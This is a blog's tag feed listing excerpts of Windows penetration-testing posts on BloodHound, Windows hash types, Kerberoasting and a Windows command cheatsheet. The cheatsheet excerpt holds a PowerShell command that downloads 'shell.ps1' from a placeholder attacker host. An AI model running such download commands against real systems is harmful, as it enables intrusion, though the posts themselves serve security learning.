https://gkourgkoutas.net/en/tags/windows/ Recent content in windows on gkourgkoutas.net Hugo -- gohugo.io Mon, 15 Nov 2021 18:37:00 +0100 https://gkourgkoutas.net/en/posts/bloodhound-part-2/ Mon, 15 Nov 2021 18:37:00 +0100 https://gkourgkoutas.net/en/posts/bloodhound-part-2/ The first part of my BloodHound post was about the setup and usage of the tool. This part will mainly focous on the built-in queries and some small tips and tricks. I think the only way to fully grasp BloodHound is by frequently using it. Built-in queries After dumping our raw data with SharpHound1, it’s time to get to work. BH has some built-in queries which helps us to get a quick overview of the domain we are facing. https://gkourgkoutas.net/en/posts/windows-cheats/ Mon, 22 Mar 2021 19:21:03 +0100 https://gkourgkoutas.net/en/posts/windows-cheats/ So this is the windows equivalent of my post about linux cheatsheets. A lot of the following commands are from labs, cheatsheets, writeups, from friends and colleagues, trial and error and also copied from famous places like hacktricks and ired.team. I also have grepable cheatsheets to download on my GitHub. Powershell Download from remote Webserver PS> Invoke-WebRequest -Uri "http://<ip>:<port>/shell.ps1." -OutFile "C:\path\file" With the following command, Powershell downloads the file and executes it immediately https://gkourgkoutas.net/en/posts/bloodhound-part-1/ Sat, 20 Mar 2021 11:53:00 +0100 https://gkourgkoutas.net/en/posts/bloodhound-part-1/ What is BloodHound? BloodHound is a single page Javascript web application, built on top of Linkurious, compiled with Electron, with a Neo4j database fed by a PowerShell ingestor. BloodHound uses graph theory to reveal the hidden and often unintended relationships within an Active Directory environment. Attackers can use BloodHound to easily identify highly complex attack paths that would otherwise be impossible to quickly identify. Defenders can use BloodHound to identify and eliminate those same attack paths. https://gkourgkoutas.net/en/posts/windows-hashes/ Fri, 19 Mar 2021 23:35:18 +0100 https://gkourgkoutas.net/en/posts/windows-hashes/ All the different types of Windows hashes can be confusing sometimes. So to clear thinks up a little bit, I wrote some Key points to help understand what most of the stuff like LM, NTLM and DCC is all about. An excellent writeup for NTLM relaying1 is from byt3bl33d3r. All the other sources2 3 4 can be found in the footnotes. Hash types LM Hashes5 Since OS/2 (ca. 1980) in use Limited character set - everything is an CAPS and a 7 char character-limit When hashing, the PW is padded to 14 characters with zeros and encrypted with DES Very easily crackable - found only in exceptions in NTDS. https://gkourgkoutas.net/en/posts/kerberoasting/ Thu, 11 Mar 2021 19:56:21 +0100 https://gkourgkoutas.net/en/posts/kerberoasting/ Definition: Kerberos Kerberos (/ˈkɜːrbərɒs/) is a computer-network authentication protocol that works on the basis of tickets to allow nodes communicating over a non-secure network to prove their identity to one another in a secure manner.1 There is also the MIT version of Kerberos, but it’s slightly different than the Microsoft2 implementation.3 Kerberos is also the three headed dog who guards the entrance to the underworld in greek mythology.4